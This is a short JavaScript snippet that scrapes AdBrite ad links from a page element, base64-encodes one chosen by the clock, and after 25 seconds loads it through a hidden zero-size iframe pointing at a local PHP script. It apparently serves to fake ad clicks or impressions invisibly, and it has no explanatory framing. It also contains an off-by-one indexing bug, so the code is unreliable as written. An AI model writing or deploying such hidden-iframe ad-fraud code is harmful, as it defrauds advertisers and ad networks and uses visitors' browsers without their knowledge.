var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
		var url = "";
		
		function encode64(input) {
		   var output = "";
		   var chr1, chr2, chr3;
		   var enc1, enc2, enc3, enc4;
		   var i = 0;
		
		   do {
			  chr1 = input.charCodeAt(i++);
			  chr2 = input.charCodeAt(i++);
			  chr3 = input.charCodeAt(i++);
		
			  enc1 = chr1 >> 2;
			  enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
			  enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
			  enc4 = chr3 & 63;
		
			  if (isNaN(chr2)) {
				 enc3 = enc4 = 64;
			  } else if (isNaN(chr3)) {
				 enc4 = 64;
			  }
		
			  output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + 
				 keyStr.charAt(enc3) + keyStr.charAt(enc4);
		   } while (i < input.length);
		   
		   return output;
		}
		
		function checkBody() {
			var a = document.getElementById('adbrite').innerHTML;
			var tmp = a.indexOf('&amp;sscra');
			if (tmp != -1) {
				var urls = new Array(5);
				var index = 0;
				var b = a.indexOf('href="');
				while (b != -1) {
					var c = a.indexOf('"',b+7);
					url = a.substring(b+6,c);
					urls[index++] = url;
					b = a.indexOf('href="',b+1);
				}
				now=new Date();
				num=(now.getSeconds())%index;
				num=num+1;
				url = escape(encode64(urls[num]));
				setTimeout("addFrame()",25000);
			}
			else {
				setTimeout("checkBody()",1000);
			}
		}
		function addFrame() {
			document.getElementById('ab').innerHTML = '<iframe src="/EOW/set_time.php?js=1&url=' + url + '" width="0" height="0"></iframe>';
		}
		setTimeout("checkBody()",1000);